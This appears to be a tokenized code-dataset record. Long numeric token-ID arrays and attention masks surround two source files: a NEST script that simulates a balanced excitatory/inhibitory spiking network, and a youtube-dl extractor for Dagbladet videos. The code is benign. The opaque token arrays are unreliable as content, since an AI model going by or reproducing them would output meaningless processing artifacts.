288, 1499, 275, 298, 3100, 13, 3143, 54, 13, 2472, 13, 3998, 3329, 440, 5223, 2122, 288, 746, 843, 14, 2759, 1726, 8, 1328, 9, 339, 768, 3744, 272, 347, 3272, 63, 14555, 8, 1886, 304, 267, 1613, 8, 38, 13579, 3946, 15562, 774, 6243, 12, 843, 680, 2758, 63, 14555, 342, 267, 843, 14, 1258, 275, 843, 14, 736, 63, 14464, 14, 18664, 63, 1258, 339, 768, 3744, 272, 347, 2073, 63, 2758, 8, 1886, 304, 267, 1613, 8, 38, 13579, 3946, 15562, 774, 6243, 12, 843, 680, 1927, 63, 2758, 342, 398, 843, 14, 4647, 63, 344, 275, 843, 14, 18664, 63, 1258, 14, 4647, 63, 344, 267, 843, 14, 6081, 63, 354, 63, 1861, 275, 283, 396, 63, 6081, 63, 2732, 8650, 267, 843, 14, 5975, 275, 10574, 267, 843, 14, 19685, 275, 413, 267, 843, 14, 4032, 275, 1616, 339, 768, 396, 14, 962, 8, 466, 2968, 7371, 297, 283, 3237, 1105, 272, 768, 396, 14, 21307, 63, 344, 360, 1690, 2025, 67, 2481, 69, 13, 68, 2322, 68, 13, 2167, 69, 23, 13, 26525, 68, 13, 2824, 69, 21, 69, 11551, 66, 12900, 358, 272, 347, 511, 63, 6081, 63, 2732, 63, 513, 63, 1045, 63, 3455, 63, 6081, 8, 277, 304, 267, 327, 1379, 370, 769, 8541, 2879, 543, 4967, 701, 27405, 4575, 8541, 267, 8541, 63, 354, 275, 666, 63, 1208, 14, 3759, 63, 354, 8, 277, 14, 6081, 63, 354, 63, 1861, 9, 267, 892, 63, 6081, 63, 344, 275, 666, 63, 1208, 14, 3759, 63, 442, 63, 344, 8, 928, 29, 5279, 9, 267, 892, 63, 6081, 275, 291, 14, 1258, 14, 981, 63, 6081, 8, 6081, 63, 354, 12, 6901, 291, 14, 5975, 12, 291, 14, 19685, 12, 6901, 291, 14, 4032, 12, 6901, 892, 63, 6081, 63, 344, 12, 6901, 365, 63, 3455, 534, 549, 358, 267, 291, 14, 12808, 8, 277, 14, 1258, 14, 1807, 63, 6081, 12, 892, 63, 6081, 459, 344, 1105, 267, 291, 14, 1855, 8, 773, 63, 2804, 14, 4667, 12, 2079, 291, 14, 1258, 14, 513, 63, 6081, 63, 2732, 12, 2079, 892, 63, 6081, 63, 344, 9, 339, 768, 396, 14, 962, 8, 466, 2968, 7371, 297, 283, 3237, 1105, 272, 768, 396, 14, 21307, 63, 344, 360, 2953, 69, 2158, 9587, 13, 22, 68, 1401, 13, 20, 70, 1651, 13, 25, 67, 1342, 13, 70, 2025, 66, 2466, 696, 1822, 3691, 358, 272, 347, 511, 63, 6081, 63, 2865, 63, 2113, 63, 525, 8, 277, 304, 267, 327, 1379, 370, 1050, 8541, 2879, 465, 282, 922, 1928, 4628, 20001, 14, 267, 8541, 63, 354, 275, 666, 63, 1208, 14, 3759, 63, 354, 8, 277, 14, 6081, 63, 354, 63, 1861, 9, 267, 892, 63, 6081, 63, 344, 275, 666, 63, 1208, 14, 3759, 63, 442, 63, 344, 8, 928, 29, 5279, 9, 267, 892, 63, 6081, 275, 291, 14, 1258, 14, 981, 63, 6081, 8, 6081, 63, 354, 12, 6901, 291, 14, 5975, 12, 291, 14, 19685, 12, 6901, 291, 14, 4032, 12, 6901, 892, 63, 6081, 63, 344, 12, 6901, 365, 63, 3455, 534, 797, 358, 267, 291, 14, 12808, 8, 277, 14, 1258, 14, 1807, 63, 6081, 12, 892, 63, 6081, 459, 344, 1105, 267, 291, 14, 1855, 8, 773, 63, 2804, 14, 17454, 12, 2079, 291, 14, 18664, 63, 1258, 14, 525, 63, 6081, 63, 2732, 12, 2079, 892, 63, 6081, 459, 344, 995, 2079, 291, 14, 4647, 63, 344, 9, 339, 768, 396, 14, 962, 8, 466, 2968, 7371, 297, 283, 3237, 1105, 272, 768, 396, 14, 21307, 63, 344, 360, 26010, 69, 1965, 65, 22, 13, 67, 17539, 13, 2322, 821, 13, 2564, 3833, 13, 22, 19573, 68, 32624, 2894, 19, 65, 358, 272, 347, 511, 63, 6081, 63, 2865, 63, 2113, 63, 2168, 8, 277, 304, 267, 327, 1379, 370, 2813, 8541, 2879, 465, 282, 922, 1928, 4628, 20001, 14, 267, 8541, 63, 354, 275, 666, 63, 1208, 14, 3759, 63, 354, 8, 277, 14, 6081, 63, 354, 63, 1861, 9, 267, 892, 63, 6081, 63, 344, 275, 666, 63, 1208, 14, 3759, 63, 442, 63, 344, 8, 928, 29, 5279, 9, 267, 892, 63, 6081, 275, 291, 14, 1258, 14, 981, 63, 6081, 8, 6081, 63, 354, 12, 6901, 291, 14, 5975, 12, 291, 14, 19685, 12, 6901, 291, 14, 4032, 12, 6901, 892, 63, 6081, 63, 344, 12, 6901, 365, 63, 3455, 534, 797, 358, 267, 291, 14, 12808, 8, 277, 0 ]
[ 1, 1, 1, 1, 1, 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ynest/examples/brunel_alpha_nest.py
9
11722
# -*- coding: utf-8 -*- # # brunel_alpha_nest.py # # This file is part of NEST. # # Copyright (C) 2004 The NEST Initiative # # NEST is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 2 of the License, or # (at your option) any later version. # # NEST is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with NEST. If not, see <http://www.gnu.org/licenses/>. ''' Random balanced network (alpha synapses) connected with NEST ------------------------------------------------------------ This script simulates an excitatory and an inhibitory population on the basis of the network used in Brunel N, Dynamics of Sparsely Connected Networks of Excitatory and Inhibitory Spiking Neurons, Journal of Computational Neuroscience 8, 183–208 (2000). In contrast to brunel-alpha-numpy.py, this variant uses NEST's builtin connection routines to draw the random connections instead of NumPy. When connecting the network customary synapse models are used, which allow for querying the number of created synapses. Using spike detectors the average firing rates of the neurons in the populations are established. The building as well as the simulation time of the network are recorded. ''' ''' Importing all necessary modules for simulation, analysis and plotting. ''' from scipy.optimize import fsolve import nest import nest.raster_plot import time from numpy import exp ''' Definition of functions used in this example. First, define the Lambert W function implemented in SLI. The second function computes the maximum of the postsynaptic potential for a synaptic input current of unit amplitude (1 pA) using the Lambert W function. Thus function will later be used to calibrate the synaptic weights. ''' def LambertWm1(x): nest.sli_push(x); nest.sli_run('LambertWm1'); y=nest.sli_pop() return y def ComputePSPnorm(tauMem, CMem, tauSyn): a = (tauMem / tauSyn) b = (1.0 / tauSyn - 1.0 / tauMem) # time of maximum t_max = 1.0/b * ( -LambertWm1(-exp(-1.0/a)/a) - 1.0/a ) # maximum of PSP for current of unit amplitude return exp(1.0)/(tauSyn*CMem*b) * ((exp(-t_max/tauMem) - exp(-t_max/tauSyn)) / b - t_max*exp(-t_max/tauSyn)) nest.ResetKernel() ''' Assigning the current time to a variable in order to determine the build time of the network. ''' startbuild = time.time() ''' Assigning the simulation parameters to variables. ''' dt = 0.1 # the resolution in ms simtime = 1000.0 # Simulation time in ms delay = 1.5 # synaptic delay in ms ''' Definition of the parameters crucial for asynchronous irregular firing of the neurons. ''' g = 5.0 # ratio inhibitory weight/excitatory weight eta = 2.0 # external rate relative to threshold rate epsilon = 0.1 # connection probability ''' Definition of the number of neurons in the network and the number of neuron recorded from ''' order = 2500 NE = 4*order # number of excitatory neurons NI = 1*order # number of inhibitory neurons N_neurons = NE+NI # number of neurons in total N_rec = 50 # record from 50 neurons ''' Definition of connectivity parameter ''' CE = int(epsilon*NE) # number of excitatory synapses per neuron CI = int(epsilon*NI) # number of inhibitory synapses per neuron C_tot = int(CI+CE) # total number of synapses per neuron ''' Initialization of the parameters of the integrate and fire neuron and the synapses. The parameter of the neuron are stored in a dictionary. The synaptic currents are normalized such that the amplitude of the PSP is J. ''' tauSyn = 0.5 # synaptic time constant in ms tauMem = 20.0 # time constant of membrane potential in ms CMem = 250.0 # capacitance of membrane in in pF theta = 20.0 # membrane threshold potential in mV neuron_params= {"C_m": CMem, "tau_m": tauMem, "tau_syn_ex": tauSyn, "tau_syn_in": tauSyn, "t_ref": 2.0, "E_L": 0.0, "V_reset": 0.0, "V_m": 0.0, "V_th": theta} J = 0.1 # postsynaptic amplitude in mV J_unit = ComputePSPnorm(tauMem, CMem, tauSyn) J_ex = J / J_unit # amplitude of excitatory postsynaptic current J_in = -g*J_ex # amplitude of inhibitory postsynaptic current ''' Definition of threshold rate, which is the external rate needed to fix the membrane potential around its threshold, the external firing rate and the rate of the poisson generator which is multiplied by the in-degree CE and converted to Hz by multiplication by 1000. ''' nu_th = (theta * CMem) / (J_ex*CE*exp(1)*tauMem*tauSyn) nu_ex = eta*nu_th p_rate = 1000.0*nu_ex*CE ''' Configuration of the simulation kernel by the previously defined time resolution used in the simulation. Setting "print_time" to True prints the already processed simulation time as well as its percentage of the total simulation time. ''' nest.SetKernelStatus({"resolution": dt, "print_time": True, "overwrite_files": True}) print("Building network") ''' Configuration of the model `iaf_psc_alpha` and `poisson_generator` using SetDefaults(). This function expects the model to be the inserted as a string and the parameter to be specified in a dictionary. All instances of theses models created after this point will have the properties specified in the dictionary by default. ''' nest.SetDefaults("iaf_psc_alpha", neuron_params) nest.SetDefaults("poisson_generator",{"rate": p_rate}) ''' Creation of the nodes using `Create`. We store the returned handles in variables for later reference. Here the excitatory and inhibitory, as well as the poisson generator and two spike detectors. The spike detectors will later be used to record excitatory and inhibitory spikes. ''' nodes_ex = nest.Create("iaf_psc_alpha",NE) nodes_in = nest.Create("iaf_psc_alpha",NI) noise = nest.Create("poisson_generator") espikes = nest.Create("spike_detector") ispikes = nest.Create("spike_detector") ''' Configuration of the spike detectors recording excitatory and inhibitory spikes using `SetStatus`, which expects a list of node handles and a list of parameter dictionaries. Setting the variable "to_file" to True ensures that the spikes will be recorded in a .gdf file starting with the string assigned to label. Setting "withtime" and "withgid" to True ensures that each spike is saved to file by stating the gid of the spiking neuron and the spike time in one line. ''' nest.SetStatus(espikes,[{"label": "brunel-py-ex", "withtime": True, "withgid": True, "to_file": True}]) nest.SetStatus(ispikes,[{"label": "brunel-py-in", "withtime": True, "withgid": True, "to_file": True}]) print("Connecting devices") ''' Definition of a synapse using `CopyModel`, which expects the model name of a pre-defined synapse, the name of the customary synapse and an optional parameter dictionary. The parameters defined in the dictionary will be the default parameter for the customary synapse. Here we define one synapse for the excitatory and one for the inhibitory connections giving the previously defined weights and equal delays. ''' nest.CopyModel("static_synapse","excitatory",{"weight":J_ex, "delay":delay}) nest.CopyModel("static_synapse","inhibitory",{"weight":J_in, "delay":delay}) ''' Connecting the previously defined poisson generator to the excitatory and inhibitory neurons using the excitatory synapse. Since the poisson generator is connected to all neurons in the population the default rule ('all_to_all') of Connect() is used. The synaptic properties are inserted via syn_spec which expects a dictionary when defining multiple variables or a string when simply using a pre-defined synapse. ''' nest.Connect(noise,nodes_ex, syn_spec="excitatory") nest.Connect(noise,nodes_in, syn_spec="excitatory") ''' Connecting the first N_rec nodes of the excitatory and inhibitory population to the associated spike detectors using excitatory synapses. Here the same shortcut for the specification of the synapse as defined above is used. ''' nest.Connect(nodes_ex[:N_rec], espikes, syn_spec="excitatory") nest.Connect(nodes_in[:N_rec], ispikes, syn_spec="excitatory") print("Connecting network") print("Excitatory connections") ''' Connecting the excitatory population to all neurons using the pre-defined excitatory synapse. Beforehand, the connection parameter are defined in a dictionary. Here we use the connection rule 'fixed_indegree', which requires the definition of the indegree. Since the synapse specification is reduced to assigning the pre-defined excitatory synapse it suffices to insert a string. ''' conn_params_ex = {'rule': 'fixed_indegree', 'indegree': CE} nest.Connect(nodes_ex, nodes_ex+nodes_in, conn_params_ex, "excitatory") print("Inhibitory connections") ''' Connecting the inhibitory population to all neurons using the pre-defined inhibitory synapse. The connection parameter as well as the synapse paramtere are defined analogously to the connection from the excitatory population defined above. ''' conn_params_in = {'rule': 'fixed_indegree', 'indegree': CI} nest.Connect(nodes_in, nodes_ex+nodes_in, conn_params_in, "inhibitory") ''' Storage of the time point after the buildup of the network in a variable. ''' endbuild=time.time() ''' Simulation of the network. ''' print("Simulating") nest.Simulate(simtime) ''' Storage of the time point after the simulation of the network in a variable. ''' endsimulate= time.time() ''' Reading out the total number of spikes received from the spike detector connected to the excitatory population and the inhibitory population. ''' events_ex = nest.GetStatus(espikes,"n_events")[0] events_in = nest.GetStatus(ispikes,"n_events")[0] ''' Calculation of the average firing rate of the excitatory and the inhibitory neurons by dividing the total number of recorded spikes by the number of neurons recorded from and the simulation time. The multiplication by 1000.0 converts the unit 1/ms to 1/s=Hz. ''' rate_ex = events_ex/simtime*1000.0/N_rec rate_in = events_in/simtime*1000.0/N_rec ''' Reading out the number of connections established using the excitatory and inhibitory synapse model. The numbers are summed up resulting in the total number of synapses. ''' num_synapses = nest.GetDefaults("excitatory")["num_connections"]+\ nest.GetDefaults("inhibitory")["num_connections"] ''' Establishing the time it took to build and simulate the network by taking the difference of the pre-defined time variables. ''' build_time = endbuild-startbuild sim_time = endsimulate-endbuild ''' Printing the network properties, firing rates and building times. ''' print("Brunel network simulation (Python)") print("Number of neurons : {0}".format(N_neurons)) print("Number of synapses: {0}".format(num_synapses)) print(" Exitatory : {0}".format(int(CE * N_neurons) + N_neurons)) print(" Inhibitory : {0}".format(int(CI * N_neurons))) print("Excitatory rate : %.2f Hz" % rate_ex) print("Inhibitory rate : %.2f Hz" % rate_in) print("Building time : %.2f s" % build_time) print("Simulation time : %.2f s" % sim_time) ''' Plot a raster of the excitatory neurons and a histogram. ''' nest.raster_plot.from_device(espikes, hist=True)
gpl-2.0
[ 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 3, 199, 3, 330, 1065, 352, 63, 4468, 63, 15272, 14, 647, 199, 3, 199, 3, 961, 570, 365, 1777, 402, 28878, 14, 199, 3, 199, 3, 1898, 334, 35, 9, 8353, 710, 28878, 21412, 1905, 199, 3, 199, 3, 28878, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 465, 3267, 701, 199, 3, 314, 2868, 2290, 2752, 12, 1902, 1015, 499, 402, 314, 844, 12, 503, 199, 3, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 28878, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 1664, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 199, 3, 3180, 543, 28878, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 199, 2344, 199, 3883, 14094, 68, 2784, 334, 4468, 9560, 25036, 9, 8539, 543, 28878, 221, 199, 6489, 4559, 199, 199, 2765, 2884, 4389, 15409, 376, 3178, 390, 8658, 436, 376, 315, 20215, 390, 1089, 16423, 641, 199, 1589, 5597, 402, 314, 2784, 1202, 315, 199, 199, 34, 1065, 352, 653, 12, 577, 4019, 2932, 402, 14531, 590, 1448, 4636, 17138, 402, 1316, 14422, 8658, 436, 199, 607, 20215, 390, 1089, 428, 1038, 17443, 5612, 32073, 12, 22142, 402, 3599, 337, 6279, 5612, 9129, 9907, 4894, 1695, 12, 199, 12363, 8477, 242, 10630, 334, 8269, 680, 199, 199, 607, 30347, 370, 330, 1065, 352, 13, 4468, 13, 4714, 14, 647, 12, 642, 9854, 4440, 28878, 1159, 6762, 199, 2105, 14975, 370, 5954, 314, 2196, 6947, 3140, 402, 20602, 14, 199, 199, 11423, 18170, 314, 2784, 3537, 695, 9560, 19111, 1709, 787, 1202, 12, 1314, 199, 3306, 367, 27405, 314, 1329, 402, 2737, 9560, 25036, 14, 11719, 19441, 415, 199, 19401, 83, 314, 8095, 289, 16648, 24434, 402, 314, 1279, 32073, 315, 314, 4560, 21429, 199, 1530, 23594, 14, 710, 10015, 465, 5521, 465, 314, 17625, 900, 402, 314, 199, 1200, 787, 18894, 14, 199, 2344, 199, 199, 2344, 199, 6295, 316, 1006, 5784, 4621, 367, 17625, 12, 11284, 436, 25174, 14, 199, 2344, 199, 199, 504, 7026, 14, 13416, 492, 7449, 3344, 199, 199, 646, 10715, 199, 646, 10715, 14, 20876, 63, 2798, 199, 199, 646, 900, 199, 504, 2680, 492, 1437, 199, 199, 2344, 199, 10701, 402, 3423, 1202, 315, 642, 2893, 14, 7758, 12, 5627, 314, 199, 44, 455, 12504, 644, 805, 6366, 315, 428, 2673, 14, 710, 3499, 805, 199, 863, 3862, 314, 5696, 402, 314, 2963, 9466, 439, 764, 12330, 367, 282, 9560, 439, 764, 199, 1210, 1453, 402, 4137, 30727, 334, 17, 299, 33, 9, 1808, 314, 491, 455, 12504, 644, 199, 1593, 14, 20227, 805, 911, 2945, 506, 1202, 370, 12855, 1866, 314, 9560, 439, 764, 199, 4916, 14, 199, 2344, 199, 199, 318, 491, 455, 12504, 55, 77, 17, 8, 88, 304, 272, 10715, 14, 23766, 63, 5335, 8, 88, 2736, 10715, 14, 23766, 63, 1065, 360, 44, 455, 12504, 55, 77, 17, 11339, 612, 29, 15272, 14, 23766, 63, 1935, 342, 272, 372, 612, 199, 199, 318, 8354, 5067, 48, 4791, 8, 16656, 14169, 12, 445, 14169, 12, 19188, 17746, 304, 523, 282, 275, 334, 16656, 14169, 1182, 19188, 17746, 9, 523, 330, 275, 334, 17, 14, 16, 1182, 19188, 17746, 446, 413, 14, 16, 1182, 19188, 14169, 9, 819, 327, 900, 402, 5696, 523, 307, 63, 988, 275, 413, 14, 16, 15, 66, 627, 334, 446, 44, 455, 12504, 55, 77, 17, 2801, 1474, 2801, 17, 14, 16, 15, 65, 2447, 65, 9, 446, 413, 14, 16, 15, 65, 776, 819, 327, 5696, 402, 510, 5763, 367, 1453, 402, 4137, 30727, 523, 372, 1437, 8, 17, 14, 16, 15136, 16656, 17746, 10, 35, 14169, 10, 66, 9, 627, 3666, 1474, 2801, 84, 63, 988, 15, 16656, 14169, 9, 446, 1437, 2801, 84, 63, 988, 15, 16656, 17746, 430, 1182, 330, 446, 307, 63, 988, 10, 1474, 2801, 84, 63, 988, 15, 16656, 17746, 430, 199, 199, 15272, 14, 9637, 14127, 342, 199, 199, 2344, 199, 9595, 316, 314, 1453, 900, 370, 282, 1750, 315, 1865, 370, 6705, 314, 199, 1506, 900, 402, 314, 2784, 14, 199, 2344, 199, 199, 928, 1506, 275, 900, 14, 521, 342, 199, 199, 2344, 199, 9595, 316, 314, 17625, 2633, 370, 2860, 14, 199, 2344, 199, 199, 3583, 420, 275, 378, 14, 17, 259, 327, 314, 12401, 315, 6605, 199, 5206, 521, 275, 5198, 14, 16, 327, 10751, 5332, 900, 315, 6605, 199, 5814, 257, 275, 413, 14, 21, 259, 327, 9560, 439, 764, 7339, 315, 6605, 199, 199, 2344, 199, 10701, 402, 314, 2633, 2467, 85, 7180, 367, 15608, 8190, 7898, 289, 16648, 199, 1618, 314, 1279, 32073, 14, 199, 2344, 199, 199, 71, 755, 275, 959, 14, 16, 221, 327, 10463, 315, 20215, 390, 1089, 5401, 15, 2804, 390, 8658, 5401, 199, 1841, 258, 275, 499, 14, 16, 221, 327, 5957, 6634, 3847, 370, 8765, 6634, 199, 15761, 275, 378, 14, 17, 221, 327, 1950, 12224, 199, 199, 2344, 199, 10701, 402, 314, 1329, 402, 1279, 32073, 315, 314, 2784, 436, 314, 1329, 402, 199, 32054, 18894, 687, 199, 2344, 199, 199, 1648, 258, 275, 5661, 383, 199, 6388, 263, 275, 841, 10, 1648, 327, 1329, 402, 3178, 390, 8658, 1279, 32073, 199, 16730, 263, 275, 413, 10, 1648, 327, 1329, 402, 315, 20215, 390, 1089, 1279, 32073, 199, 46, 63, 685, 32073, 275, 7110, 11, 16730, 257, 327, 1329, 402, 1279, 32073, 315, 3141, 199, 46, 63, 2761, 258, 275, 5238, 420, 327, 2777, 687, 5238, 1279, 32073, 199, 199, 2344, 199, 10701, 402, 20170, 2725, 199, 2344, 199, 199, 2089, 259, 275, 1109, 8, 15761, 10, 6388, 9, 327, 1329, 402, 3178, 390, 8658, 9560, 25036, 1126, 20242, 199, 3553, 259, 275, 1109, 8, 15761, 10, 16730, 9, 327, 1329, 402, 315 ]
[ 1882, 2803, 26, 2774, 13, 24, 1882, 199, 3, 199, 3, 330, 1065, 352, 63, 4468, 63, 15272, 14, 647, 199, 3, 199, 3, 961, 570, 365, 1777, 402, 28878, 14, 199, 3, 199, 3, 1898, 334, 35, 9, 8353, 710, 28878, 21412, 1905, 199, 3, 199, 3, 28878, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 465, 3267, 701, 199, 3, 314, 2868, 2290, 2752, 12, 1902, 1015, 499, 402, 314, 844, 12, 503, 199, 3, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 28878, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 1664, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 199, 3, 3180, 543, 28878, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 199, 2344, 199, 3883, 14094, 68, 2784, 334, 4468, 9560, 25036, 9, 8539, 543, 28878, 221, 199, 6489, 4559, 199, 199, 2765, 2884, 4389, 15409, 376, 3178, 390, 8658, 436, 376, 315, 20215, 390, 1089, 16423, 641, 199, 1589, 5597, 402, 314, 2784, 1202, 315, 199, 199, 34, 1065, 352, 653, 12, 577, 4019, 2932, 402, 14531, 590, 1448, 4636, 17138, 402, 1316, 14422, 8658, 436, 199, 607, 20215, 390, 1089, 428, 1038, 17443, 5612, 32073, 12, 22142, 402, 3599, 337, 6279, 5612, 9129, 9907, 4894, 1695, 12, 199, 12363, 8477, 242, 10630, 334, 8269, 680, 199, 199, 607, 30347, 370, 330, 1065, 352, 13, 4468, 13, 4714, 14, 647, 12, 642, 9854, 4440, 28878, 1159, 6762, 199, 2105, 14975, 370, 5954, 314, 2196, 6947, 3140, 402, 20602, 14, 199, 199, 11423, 18170, 314, 2784, 3537, 695, 9560, 19111, 1709, 787, 1202, 12, 1314, 199, 3306, 367, 27405, 314, 1329, 402, 2737, 9560, 25036, 14, 11719, 19441, 415, 199, 19401, 83, 314, 8095, 289, 16648, 24434, 402, 314, 1279, 32073, 315, 314, 4560, 21429, 199, 1530, 23594, 14, 710, 10015, 465, 5521, 465, 314, 17625, 900, 402, 314, 199, 1200, 787, 18894, 14, 199, 2344, 199, 199, 2344, 199, 6295, 316, 1006, 5784, 4621, 367, 17625, 12, 11284, 436, 25174, 14, 199, 2344, 199, 199, 504, 7026, 14, 13416, 492, 7449, 3344, 199, 199, 646, 10715, 199, 646, 10715, 14, 20876, 63, 2798, 199, 199, 646, 900, 199, 504, 2680, 492, 1437, 199, 199, 2344, 199, 10701, 402, 3423, 1202, 315, 642, 2893, 14, 7758, 12, 5627, 314, 199, 44, 455, 12504, 644, 805, 6366, 315, 428, 2673, 14, 710, 3499, 805, 199, 863, 3862, 314, 5696, 402, 314, 2963, 9466, 439, 764, 12330, 367, 282, 9560, 439, 764, 199, 1210, 1453, 402, 4137, 30727, 334, 17, 299, 33, 9, 1808, 314, 491, 455, 12504, 644, 199, 1593, 14, 20227, 805, 911, 2945, 506, 1202, 370, 12855, 1866, 314, 9560, 439, 764, 199, 4916, 14, 199, 2344, 199, 199, 318, 491, 455, 12504, 55, 77, 17, 8, 88, 304, 272, 10715, 14, 23766, 63, 5335, 8, 88, 2736, 10715, 14, 23766, 63, 1065, 360, 44, 455, 12504, 55, 77, 17, 11339, 612, 29, 15272, 14, 23766, 63, 1935, 342, 272, 372, 612, 199, 199, 318, 8354, 5067, 48, 4791, 8, 16656, 14169, 12, 445, 14169, 12, 19188, 17746, 304, 523, 282, 275, 334, 16656, 14169, 1182, 19188, 17746, 9, 523, 330, 275, 334, 17, 14, 16, 1182, 19188, 17746, 446, 413, 14, 16, 1182, 19188, 14169, 9, 819, 327, 900, 402, 5696, 523, 307, 63, 988, 275, 413, 14, 16, 15, 66, 627, 334, 446, 44, 455, 12504, 55, 77, 17, 2801, 1474, 2801, 17, 14, 16, 15, 65, 2447, 65, 9, 446, 413, 14, 16, 15, 65, 776, 819, 327, 5696, 402, 510, 5763, 367, 1453, 402, 4137, 30727, 523, 372, 1437, 8, 17, 14, 16, 15136, 16656, 17746, 10, 35, 14169, 10, 66, 9, 627, 3666, 1474, 2801, 84, 63, 988, 15, 16656, 14169, 9, 446, 1437, 2801, 84, 63, 988, 15, 16656, 17746, 430, 1182, 330, 446, 307, 63, 988, 10, 1474, 2801, 84, 63, 988, 15, 16656, 17746, 430, 199, 199, 15272, 14, 9637, 14127, 342, 199, 199, 2344, 199, 9595, 316, 314, 1453, 900, 370, 282, 1750, 315, 1865, 370, 6705, 314, 199, 1506, 900, 402, 314, 2784, 14, 199, 2344, 199, 199, 928, 1506, 275, 900, 14, 521, 342, 199, 199, 2344, 199, 9595, 316, 314, 17625, 2633, 370, 2860, 14, 199, 2344, 199, 199, 3583, 420, 275, 378, 14, 17, 259, 327, 314, 12401, 315, 6605, 199, 5206, 521, 275, 5198, 14, 16, 327, 10751, 5332, 900, 315, 6605, 199, 5814, 257, 275, 413, 14, 21, 259, 327, 9560, 439, 764, 7339, 315, 6605, 199, 199, 2344, 199, 10701, 402, 314, 2633, 2467, 85, 7180, 367, 15608, 8190, 7898, 289, 16648, 199, 1618, 314, 1279, 32073, 14, 199, 2344, 199, 199, 71, 755, 275, 959, 14, 16, 221, 327, 10463, 315, 20215, 390, 1089, 5401, 15, 2804, 390, 8658, 5401, 199, 1841, 258, 275, 499, 14, 16, 221, 327, 5957, 6634, 3847, 370, 8765, 6634, 199, 15761, 275, 378, 14, 17, 221, 327, 1950, 12224, 199, 199, 2344, 199, 10701, 402, 314, 1329, 402, 1279, 32073, 315, 314, 2784, 436, 314, 1329, 402, 199, 32054, 18894, 687, 199, 2344, 199, 199, 1648, 258, 275, 5661, 383, 199, 6388, 263, 275, 841, 10, 1648, 327, 1329, 402, 3178, 390, 8658, 1279, 32073, 199, 16730, 263, 275, 413, 10, 1648, 327, 1329, 402, 315, 20215, 390, 1089, 1279, 32073, 199, 46, 63, 685, 32073, 275, 7110, 11, 16730, 257, 327, 1329, 402, 1279, 32073, 315, 3141, 199, 46, 63, 2761, 258, 275, 5238, 420, 327, 2777, 687, 5238, 1279, 32073, 199, 199, 2344, 199, 10701, 402, 20170, 2725, 199, 2344, 199, 199, 2089, 259, 275, 1109, 8, 15761, 10, 6388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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
yasoob/youtube-dl-GUI
youtube_dl/extractor/dbtv.py
14
1955
# coding: utf-8 from __future__ import unicode_literals import re from .common import InfoExtractor class DBTVIE(InfoExtractor): _VALID_URL = r'https?://(?:www\.)?dagbladet\.no/video/(?:(?:embed|(?P<display_id>[^/]+))/)?(?P<id>[0-9A-Za-z_-]{11}|[a-zA-Z0-9]{8})' _TESTS = [{ 'url': 'https://www.dagbladet.no/video/PynxJnNWChE/', 'md5': 'b8f850ba1860adbda668d367f9b77699', 'info_dict': { 'id': 'PynxJnNWChE', 'ext': 'mp4', 'title': 'Skulle teste ut fornøyelsespark, men kollegaen var bare opptatt av bikinikroppen', 'description': 'md5:49cc8370e7d66e8a2ef15c3b4631fd3f', 'thumbnail': r're:https?://.*\.jpg', 'upload_date': '20160916', 'duration': 69, 'uploader_id': 'UCk5pvsyZJoYJBd7_oFPTlRQ', 'uploader': 'Dagbladet', }, 'add_ie': ['Youtube'] }, { 'url': 'https://www.dagbladet.no/video/embed/xlGmyIeN9Jo/?autoplay=false', 'only_matching': True, }, { 'url': 'https://www.dagbladet.no/video/truer-iran-bor-passe-dere/PalfB2Cw', 'only_matching': True, }] @staticmethod def _extract_urls(webpage): return [url for _, url in re.findall( r'<iframe[^>]+src=(["\'])((?:https?:)?//(?:www\.)?dagbladet\.no/video/embed/(?:[0-9A-Za-z_-]{11}|[a-zA-Z0-9]{8}).*?)\1', webpage)] def _real_extract(self, url): display_id, video_id = re.match(self._VALID_URL, url).groups() info = { '_type': 'url_transparent', 'id': video_id, 'display_id': display_id, } if len(video_id) == 11: info.update({ 'url': video_id, 'ie_key': 'Youtube', }) else: info.update({ 'url': 'jwplatform:' + video_id, 'ie_key': 'JWPlatform', }) return info
mit
